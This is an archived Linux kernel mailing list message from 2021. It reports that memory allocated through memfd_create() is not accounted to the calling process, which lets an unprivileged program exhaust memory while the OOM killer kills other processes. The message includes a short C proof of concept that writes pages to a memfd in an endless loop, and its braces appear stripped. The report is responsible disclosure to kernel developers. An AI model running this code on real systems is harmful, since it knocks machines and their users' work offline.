[lkml]   [2021]   [Feb]   [4]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
Messages in this thread
SubjectPossible deny of service with memfd_create()
Hi Michal,

as requested in the other mail thread the following sample code gets my
test system down within seconds.

The issue is that the memory allocated for the file descriptor is not
accounted to the process allocating it, so the OOM killer pics whatever
process it things is good but never my small test program.

Since memfd_create() doesn't need any special permission this is a
rather nice deny of service and as far as I can see also works with a
standard Ubuntu 5.4.0-65-generic kernel.


#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
#include <stdlib.h>

unsigned char page[4096];

int main(void)
        int i, fd;

        for (i = 0; i < 4096; ++i)
                page[i] = i;

        fd = memfd_create("test", 0);

        while (1)
                write(fd, page, 4096);

 \ /
  Last update: 2021-02-04 17:35    [W:0.097 / U:1.156 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site